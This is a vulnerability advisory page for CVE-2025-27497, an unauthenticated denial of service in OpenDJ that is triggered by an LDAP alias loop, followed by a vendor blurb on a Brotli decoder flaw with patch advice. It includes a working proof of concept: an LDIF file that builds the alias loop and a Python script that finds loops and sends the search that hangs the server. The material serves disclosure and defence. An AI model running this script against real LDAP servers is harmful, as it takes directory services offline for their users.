New MCP server — Bring vulnerability intelligence into your AI
Back to feed

CVE-2025-27497

NVDCIRCLENISA

EUVD-2025-6169 · Published Mar 5, 2025

OpenDJ Denial of Service (DoS) using alias loop

Summary

A denial-of-service (DoS) vulnerability in OpenDJ has been discovered that causes the server to become unresponsive to all LDAP requests without crashing or restarting. This issue occurs when an alias loop exists in the LDAP database. If an ldapsearch request is executed with alias dereferencing set to "always" on this alias entry, the server stops responding to all future requests.
I have confirmed this issue using the latest OpenDJ version (9.2), both with the official OpenDJ Docker image and a local OpenDJ server running on my Windows 10 machine.

Details

An unauthenticated attacker can exploit this vulnerability using a single crafted ldapsearch request. Fortunately, the server can be restarted without data corruption. While this attack requires the existence of an alias loop, I am uncertain whether such loops can be easily created in specific environments or if the method can be adapted to execute other DoS attacks more easily.

PoC (Steps to Reproduce)
  1. Set up an OpenDJ server instance as usual, using the base DN dc=example,dc=com
  2. Import the attached example_data_alias_dos.ldif file into the LDAP database
  3. Ensure that the ldap3 Python library is installed (pip install ldap3)
  4. Run the attached Python script python opendj_alias_dos.py, which searches for alias loops and executes the DoS attack
  5. After executing the script, the server will stop responding to requests until it is restarted
Impact

This vulnerability directly affects server availability for everyone using it. A single ldapsearch request on an alias loop entry can cause the entire server to become unresponsive, requiring a restart. The issue can be repeatedly triggered. The following response message is displayed on following requests:

result: 80 Other (e.g., implementation specific) error
text: com.sleepycat.je.EnvironmentFailureException: (JE 18.3.12) JAVA_ERROR: Java Error occurred, recovery may not be possible.

example_data_alias_dos.ldif

dn: dc=example,dc=com
objectClass: top
objectClass: domain
dc: example

dn: ou=people,dc=example,dc=com
objectClass: top
objectClass: organizationalUnit
ou: people
description: All users

dn: ou=students,ou=people,dc=example,dc=com
objectClass: top
objectClass: organizationalUnit
ou: students
description: All students

dn: uid=jd123,ou=students,ou=people,dc=example,dc=com
objectClass: top
objectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
mail: jd123@example.com
sn: Doe
cn: John Doe
givenName: John
uid: jd123

dn: ou=employees,ou=people,dc=example,dc=com
objectClass: top
objectClass: organizationalUnit
ou: employees
description: All employees

dn: uid=jd123,ou=employees,ou=people,dc=example,dc=com
objectClass: alias
objectClass: top
objectClass: extensibleObject
aliasedObjectName: uid=jd123,ou=researchers,ou=people,dc=example,dc=com
uid: jd123

dn: ou=researchers,ou=people,dc=example,dc=com
objectClass: top
objectClass: organizationalUnit
ou: researchers
description: All reasearchers

dn: uid=jd123,ou=researchers,ou=people,dc=example,dc=com
objectClass: alias
objectClass: top
objectClass: extensibleObject
aliasedObjectName: uid=jd123,ou=employees,ou=people,dc=example,dc=com
uid: jd123

opendj_alias_dos.py

import argparse

from ldap3 import Server, Connection, ALL, DEREF_NEVER, DEREF_ALWAYS
from ldap3.core.exceptions import LDAPBindError, LDAPSocketOpenError


def connect_to_ldap(ip, port):
    try:
        server = Server(ip, port, get_info=ALL)
        connection = Connection(server, auto_bind=True)
        return connection
    except (LDAPBindError, LDAPSocketOpenError) as e:
        print(f"Error connecting to LDAP server: {e}")
        return None


def find_aliases(connection, base_dn):
    try:
        search_filter = "(objectClass=alias)"
        connection.search(base_dn, search_filter=search_filter, dereference_aliases=DEREF_NEVER, attributes=["*"])
    except Exception as e:
        print(f"Error during search: {e}")

    aliases = {}
    for entry in connection.entries:
        entry_dn = entry.entry_dn
        entry_alias = entry.aliasedObjectName.value
        aliases[entry_dn] = entry_alias

    return aliases


def detect_alias_loop(aliases):
    visited = set()
    path = set()

    def dfs(alias):
        if alias in path:
            return alias
        if alias in visited:
            return None

        path.add(alias)
        visited.add(alias)

        aliased_target = aliases.get(alias)
        if aliased_target:
            result = dfs(aliased_target)
            if result:
                return result

        path.remove(alias)
        return None

    for alias in aliases:
        if alias not in visited:
            loop_alias = dfs(alias)
            if loop_alias:
                return loop_alias

    return None


def execute_dos_search(connection, looping_alias_dn):
    try:
        search_filter = "(objectClass=*)"
        connection.search(looping_alias_dn, search_filter=search_filter, dereference_aliases=DEREF_ALWAYS)
    except Exception as e:
        print(f"Error during search: {e}")

    for entry in connection.entries:
        entry_dn = entry.entry_dn
        print(entry_dn)


def main():
    parser = argparse.ArgumentParser(description="Search LDAP for circular alias references.")
    parser.add_argument("ip", type=str, nargs="?", default=None, help="The IP address of the LDAP server.")
    parser.add_argument("port", type=int, nargs="?", default=None, help="The port of the LDAP server.")
    parser.add_argument("base", type=str, nargs="?", default=None, help="The base DN of the LDAP server.")
    args = parser.parse_args()

    if not args.ip:
        args.ip = input("Please enter the IP address of the LDAP server: ")

    if not args.port:
        while True:
            try:
                port_input = input("Please enter the port of the LDAP server: ")
                args.port = int(port_input)
                break
            except ValueError:
                print("Invalid input. Please enter a valid integer for the port.")

    if not args.base:
        args.base = input("Please enter the base DN of the LDAP server: ")

    connection = connect_to_ldap(args.ip, args.port)
    if connection:
        aliases = find_aliases(connection, args.base)
        looping_alias_dn = detect_alias_loop(aliases)
        if looping_alias_dn:
            execute_dos_search(connection, looping_alias_dn)
            print(f"DOS executed with alias: {looping_alias_dn}")
        else:
            print("No looping alias DN found!")
        connection.unbind()


if __name__ == "__main__":
    main()

Weaknesses

CWE-835

References

Potentially impacted assets

See if this affects your attack surface

Latest trending attack

Criticalyesterday

Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)

This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it. Why a second control CVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli ("br") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution. Any server that decompresses request bodies sent with "Content-Encoding: br" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library. The flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support. What this control checks Patrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service. How to read the result Potentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside. This check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification. Affected and fixed versions Google Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution. Recommendations Update every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library. Reduce the exposure until the update is deployed. Reject requests with "Content-Encoding: br" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as "gzip, br". On Envoy and Istio, disable request decompression for Brotli. Review outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.

Take 15 minutes to discover our platform with our experts

Patrowl Intel platform screenshot